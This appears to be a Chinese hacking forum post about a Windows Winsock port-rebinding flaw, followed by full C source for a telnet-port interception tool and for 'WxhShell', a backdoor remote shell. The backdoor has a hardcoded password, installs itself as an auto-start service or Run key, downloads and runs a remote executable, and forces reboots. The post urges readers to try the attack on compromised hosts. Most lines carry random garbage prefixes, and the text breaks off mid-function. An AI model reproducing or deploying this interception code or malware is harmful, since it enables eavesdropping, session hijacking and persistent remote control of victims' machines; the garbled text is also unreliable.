在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
x#{!hL
5G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
lyn%r TrI+F+; saddr.sin_family = AF_INET;
R'BB- :e<jD_.X saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MU<(O} c3]t"TA, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
F:j@ JMpQ .7iRV 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i_qY=*a?y \w9}O2lL 这意味着什么?意味着可以进行如下的攻击:
/t5)& J[/WBVFDf 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
OB>Hiy
z} fpV T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
AD?zBg Zu O'4G'H) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
N8A)lYT]_u )JMqC+J3*t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
k4+vI1Cs ~IhAO}1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9a`LrB M/ S~"iD 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<q63?Ms' \gA!)q.; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:Cq73:1\B NuZ2,<~9 #include
Dfs^W{YA #include
}[+uHR6L #include
+n^M+ea; #include
JCWTB`EB> DWORD WINAPI ClientThread(LPVOID lpParam);
+!lDAkW0 int main()
qS?o22 {
~aC ?M& WORD wVersionRequested;
PD#,KqL: DWORD ret;
OqtGKda WSADATA wsaData;
^*.[b BOOL val;
]545:)Q1 SOCKADDR_IN saddr;
(\\;A? SOCKADDR_IN scaddr;
*%xbn8 int err;
Y ^^4n$ SOCKET s;
5c- P lm% SOCKET sc;
Dka,v int caddsize;
*_D/_Rp7 HANDLE mt;
161P%sGx2 DWORD tid;
,Ckcc wVersionRequested = MAKEWORD( 2, 2 );
!Asncc G err = WSAStartup( wVersionRequested, &wsaData );
#X Q/y} ( if ( err != 0 ) {
"GMU~594 printf("error!WSAStartup failed!\n");
@*%3+9`yq return -1;
Vr2A7kq }
gP_N|LuF" saddr.sin_family = AF_INET;
0ix(1`Z >u= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"FHJ_$! C?qRZB+W# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
xG!~TQ saddr.sin_port = htons(23);
^ ` LqNG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h<9vm[ . {
7FH(C`uKi printf("error!socket failed!\n");
_k:8ib2TQ return -1;
!}Xoqamm }
)KZMRAT- val = TRUE;
PUQ",;&y1 //SO_REUSEADDR选项就是可以实现端口重绑定的
<]Td7-n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!MoAga_
j {
t6Iy5)=zY printf("error!setsockopt failed!\n");
BU -;P return -1;
]_C"A }
Pe`mZCd^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?%3dgQB' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
; Z:[LJd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8Lgt fcq8aW/z_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
HK)m^!= {
461g7R%r ret=GetLastError();
8063LWV printf("error!bind failed!\n");
("U<@~ return -1;
JrcbJt }
b1Vr>:sK47 listen(s,2);
{
^o.f while(1)
l~J d>9DwY {
X}( s(6 caddsize = sizeof(scaddr);
4/
` *mPW //接受连接请求
&S4*x|-C& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Fk=SkSky if(sc!=INVALID_SOCKET)
]SJ#:7 {
XG|N$~N+ 2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}
=OE.cf@ if(mt==NULL)
Kx9u|fp5 {
|r~ u7U\ printf("Thread Creat Failed!\n");
|_?e.}K break;
>XtfT' }
5 `1 }
<::lfPP CloseHandle(mt);
>/ay'EyY;> }
Zn9tG:V closesocket(s);
;6/WjUDw<| WSACleanup();
m>=DJ{KQ return 0;
SKC;@? }
J9lZ1,22 DWORD WINAPI ClientThread(LPVOID lpParam)
4iA F<|6s {
:#:|:q.] SOCKET ss = (SOCKET)lpParam;
3\W/VBJJ SOCKET sc;
<vcU5
.K. unsigned char buf[4096];
FKO2UY#&7 SOCKADDR_IN saddr;
`D ;*.zrA long num;
pGD@R=8 DWORD val;
xMr,\r'+ DWORD ret;
VAiJL //如果是隐藏端口应用的话,可以在此处加一些判断
M5{#!d}^D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"pkdZ saddr.sin_family = AF_INET;
a``|sn9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}AS?q?4? saddr.sin_port = htons(23);
{+9RJmZg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y
w0,K& {
i~h@}0WR" printf("error!socket failed!\n");
.D@J\<,+l return -1;
q-! H7o }
>'4A[$$4mM val = 100;
Ki><~!L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]5'$EAsuW {
8 m"k3:e^ ret = GetLastError();
3(c-o0M return -1;
(;#c[eKy }
8>YF}\D V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\Kf\%Q {
)-
W1Wtom ret = GetLastError();
zT>!xGTu7~ return -1;
* zp tbZ }
d-b04Q7DQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
K/W=r {
^;EhKG printf("error!socket connect failed!\n");
X,Na4~JO( closesocket(sc);
oPi>]#X closesocket(ss);
2 GRI<M return -1;
Ay(p~U;gN* }
CM?:\$ 4 while(1)
n^nE&'[?0g {
x3ZF6)@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%)j&/QdzF& //如果是嗅探内容的话,可以再此处进行内容分析和记录
v@$N,g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9JFN8Gf*) num = recv(ss,buf,4096,0);
FMdu30JV if(num>0)
! AwMD send(sc,buf,num,0);
= Pv_,% else if(num==0)
~
*&\5rPb break;
`#$}P;W num = recv(sc,buf,4096,0);
7IxeSxXH if(num>0)
"0HUaU,e send(ss,buf,num,0);
{<yapBMw else if(num==0)
ZR!8hw8 break;
) lUS' I }
^Wld6:L{I closesocket(ss);
tLu&3<% closesocket(sc);
&Ym):pc return 0 ;
m|q,ixg }
e(7#>O%1 u+V*U5v yz68g?" ==========================================================
j4IVIj@$` =e6pv# 下边附上一个代码,,WXhSHELL
j !*,( [oh06_rB ==========================================================
_^ENRk@ @bg9
}Z%\h #include "stdafx.h"
?;,; Dck/Ea #include <stdio.h>
aEN` ` #include <string.h>
t9`{^<LH #include <windows.h>
/1EAj #include <winsock2.h>
qA[lL( #include <winsvc.h>
2W+~{3[# #include <urlmon.h>
vzSb( C&z!="hMhR #pragma comment (lib, "Ws2_32.lib")
"L2*RX.R #pragma comment (lib, "urlmon.lib")
jZ.yt+9 TipH} #define MAX_USER 100 // 最大客户端连接数
bqbG+g #define BUF_SOCK 200 // sock buffer
Xz4q^XJ #define KEY_BUFF 255 // 输入 buffer
1h@qcom9K_ @JGmOwZ #define REBOOT 0 // 重启
4vg3F( #define SHUTDOWN 1 // 关机
:$D*ab^^P ehW [LRtq #define DEF_PORT 5000 // 监听端口
r(r(&NU 7 z #define REG_LEN 16 // 注册表键长度
8C{&i5kj\E #define SVC_LEN 80 // NT服务名长度
kx&JY9( ins(RWO // 从dll定义API
_%Z.Re typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\=0;EI-j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]1++$Ej typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)|*Qs${tF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
d7^
`
Nk9=A4=| // wxhshell配置信息
*5Zow 3 struct WSCFG {
hwGK),?"+ int ws_port; // 监听端口
n~629 & char ws_passstr[REG_LEN]; // 口令
d.+*o int ws_autoins; // 安装标记, 1=yes 0=no
PtkMzhX char ws_regname[REG_LEN]; // 注册表键名
:-{"9cgFR char ws_svcname[REG_LEN]; // 服务名
CmB_g?K char ws_svcdisp[SVC_LEN]; // 服务显示名
O_;BZzT char ws_svcdesc[SVC_LEN]; // 服务描述信息
Bj7*2} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
XH%pV int ws_downexe; // 下载执行标记, 1=yes 0=no
/[TOy2/;%b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
o(ow{S@=4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
s*GZOz \kQ)fk]^ };
xCZ_x$bk P|Aac,nE+^ // default Wxhshell configuration
[#GBn0BG) struct WSCFG wscfg={DEF_PORT,
3uYLA4[-B "xuhuanlingzhe",
W5u5!L/ 1,
nWsRauY "Wxhshell",
&6\&McmkX "Wxhshell",
yu6~:$%H "WxhShell Service",
]\yB, "Wrsky Windows CmdShell Service",
THwM',6 "Please Input Your Password: ",
CzV;{[?~; 1,
cx:_5GF "
http://www.wrsky.com/wxhshell.exe",
[h-6;.e "Wxhshell.exe"
XKGiw 2
C };
i6paNHi* [<=RsD_q~ // 消息定义模块
F/2cQ.u2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tz]0F5 char *msg_ws_prompt="\n\r? for help\n\r#>";
r $S9/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2xN7lfu1RB char *msg_ws_ext="\n\rExit.";
"[ LUv5 char *msg_ws_end="\n\rQuit.";
SAnr|<Y/ char *msg_ws_boot="\n\rReboot...";
3X(^`lAf) char *msg_ws_poff="\n\rShutdown...";
ZSNbf|ldiE char *msg_ws_down="\n\rSave to ";
Vu(NP\Wm 3.YH7rN
char *msg_ws_err="\n\rErr!";
| +;ZC y char *msg_ws_ok="\n\rOK!";
DG;u_6;JR Xt O..{qU char ExeFile[MAX_PATH];
ftY&Q#[ int nUser = 0;
U)kyq HANDLE handles[MAX_USER];
mH,s!6j?Vp int OsIsNt;
4>(K~v5;N B<s+I# SERVICE_STATUS serviceStatus;
Hs)] SERVICE_STATUS_HANDLE hServiceStatusHandle;
cPtDIc, F,_cci`p // 函数声明
-}m int Install(void);
*wJ$U int Uninstall(void);
u8 k^\Do int DownloadFile(char *sURL, SOCKET wsh);
ai?uJ} int Boot(int flag);
0c>>:w20D void HideProc(void);
n`=S&oKH int GetOsVer(void);
^U~Er'mT
int Wxhshell(SOCKET wsl);
4AhFE@ void TalkWithClient(void *cs);
aKMX-?%t4 int CmdShell(SOCKET sock);
v
Z10Rb8 int StartFromService(void);
NATi)A"TZ int StartWxhshell(LPSTR lpCmdLine);
:(enaHn#~ .U(6])%;@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
W4 q9pHQ VOID WINAPI NTServiceHandler( DWORD fdwControl );
5V<6_o 9y\nO)\Tv // 数据结构和表定义
xLIyh7$t SERVICE_TABLE_ENTRY DispatchTable[] =
_LF'0s* {
8!v|`Ky {wscfg.ws_svcname, NTServiceMain},
`x=kb; {NULL, NULL}
DQhHU1 };
5S? "<+J' yHM29fEZk // 自我安装
x/1FQ>n:9 int Install(void)
zpT{!V {
`T[yyOL/ char svExeFile[MAX_PATH];
[vtDtwL HKEY key;
?bd!JW bg` strcpy(svExeFile,ExeFile);
Mxz
X@GBX ,~;`@ // 如果是win9x系统,修改注册表设为自启动
5%S5*c6BD if(!OsIsNt) {
rKPsv*w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}c/#WA|b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
QPVr:+\B{ RegCloseKey(key);
'_g&!zi8~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R&s/s`pLW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lU|ltnU RegCloseKey(key);
6Hc25NuQZ return 0;
7#
'j>] }
Uj 3{c }
F4(;O7j9 }
%|@?)[; else {
[9?]|4 iP7KM*ks // 如果是NT以上系统,安装为系统服务
e7G>'K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Bptt" if (schSCManager!=0)
Ypm*or {
mp3 Dc SC_HANDLE schService = CreateService
7TAoWD3
(
a
w~a/T: schSCManager,
WV}pE~ wscfg.ws_svcname,
p"\-iY] wscfg.ws_svcdisp,
k'$7RjCu SERVICE_ALL_ACCESS,
lItr*,A] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
0jpyc SERVICE_AUTO_START,
;F_&h#D]3 SERVICE_ERROR_NORMAL,
^R\5'9K! svExeFile,
e /XOmv NULL,
Z[+Qf3j}o6 NULL,
,[m4+6G5 NULL,
IKp(KlA NULL,
|q o3
E NULL
hQSJt[8My );
5}NO~Xd< if (schService!=0)
6O5E4= {
p*P0<01Z CloseServiceHandle(schService);
7;}TNK\+v CloseServiceHandle(schSCManager);
UIQ=b;J9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*|+ ~V/# strcat(svExeFile,wscfg.ws_svcname);
n=fR%<v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}xrrHp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
k!@/|]3z RegCloseKey(key);
f2|On6/ return 0;
4z|Yfvq }
Y!E|X 3 }
jM@@N. CloseServiceHandle(schSCManager);
RmN\;G?} }
;c~DBJg'| }
}=3W(1cu- p|Fhh\,*`X return 1;
G`!;RX }
uuhvd h= 8DrKq]& // 自我卸载
Qe/=(P< int Uninstall(void)
Hi{!<e2 {
Pb D|7IM HKEY key;
qj|B #dU ;rta#pRn if(!OsIsNt) {
A%M&{S'+|X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
QQjMC' RegDeleteValue(key,wscfg.ws_regname);
.+AO3~Dg RegCloseKey(key);
ldoN!J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5Q72.4HH RegDeleteValue(key,wscfg.ws_regname);
=TI|uD6T RegCloseKey(key);
.uagD[${ return 0;
d>4e9M" }
**YNR:#Y }
RZE:WE;5 }
Ah2XwFg? else {
@p2dXJeR<
aEZn6k1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Hp> J,m(* if (schSCManager!=0)
8CSvg{B {
f{z%P I[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{78*SR if (schService!=0)
{ K0T%.G {
uJp}9B60_ if(DeleteService(schService)!=0) {
/0YNB) CloseServiceHandle(schService);
z8"=W,2 CloseServiceHandle(schSCManager);
|V~P6o(/ return 0;
*&2#;mf3 }
qV$',U*+T CloseServiceHandle(schService);
$X&OGTlw^ }
E[Io8|QA CloseServiceHandle(schSCManager);
qP<,"9!I }
/~tfP }
6k3l/ ~R ;<X3AhF return 1;
'}YXpB }
K
:q-[\G u#UeJuO // 从指定url下载文件
K((Kd&E int DownloadFile(char *sURL, SOCKET wsh)
quUJ%F {
z=Vvb HRESULT hr;
w./EJkKI char seps[]= "/";
c`}X2u]k char *token;
zXf+ie o char *file;
O}f(h5!k char myURL[MAX_PATH];
@Q1jH~t char myFILE[MAX_PATH];
jh0$:6 `C nG*6ic strcpy(myURL,sURL);
~D=@4(f8| token=strtok(myURL,seps);
XP;&iZJ while(token!=NULL)
#"yf^*wX {
7ER 2h* file=token;
f}'gg token=strtok(NULL,seps);
}Voh5*$E` }
<d5vVn I!<v$ GetCurrentDirectory(MAX_PATH,myFILE);
Qy/bzO strcat(myFILE, "\\");
G-(c+6Mn strcat(myFILE, file);
Y-c~"# send(wsh,myFILE,strlen(myFILE),0);
IP;@unBl send(wsh,"...",3,0);
xA5$!Oq7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
hCvn(f if(hr==S_OK)
W=\dsdnu* return 0;
_TXV{<E6 else
omA*XXUx=8 return 1;
`U3 Fi/G, [q }
CzEn_ZMb Mqtp}<*@- // 系统电源模块
+r!h* 4 int Boot(int flag)
?W|IC8~d') {
MH Yf8HN HANDLE hToken;
2,;t%GB TOKEN_PRIVILEGES tkp;
$B?7u@>, D5m\u$~V if(OsIsNt) {
VfcQibm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
lmcDA,7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`k|nf9_ tkp.PrivilegeCount = 1;
`s_TY%&_}g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
QMxz@HGa| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
a*[\edcHU if(flag==REBOOT) {
ed*AU,^@v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
X[~CLKH( return 0;
UQcmHZ+lf }
V6{xX0'b*m else {
=|%T E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
W7o/
return 0;
{|E7N"Qzg }
,h._iO)I^ }
{LD8ie|x1` else {
KTEis!w if(flag==REBOOT) {
VT7NWTJ, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"'#Hh&Us return 0;
&Kp+8D* }
U}0/V
c26 else {
a&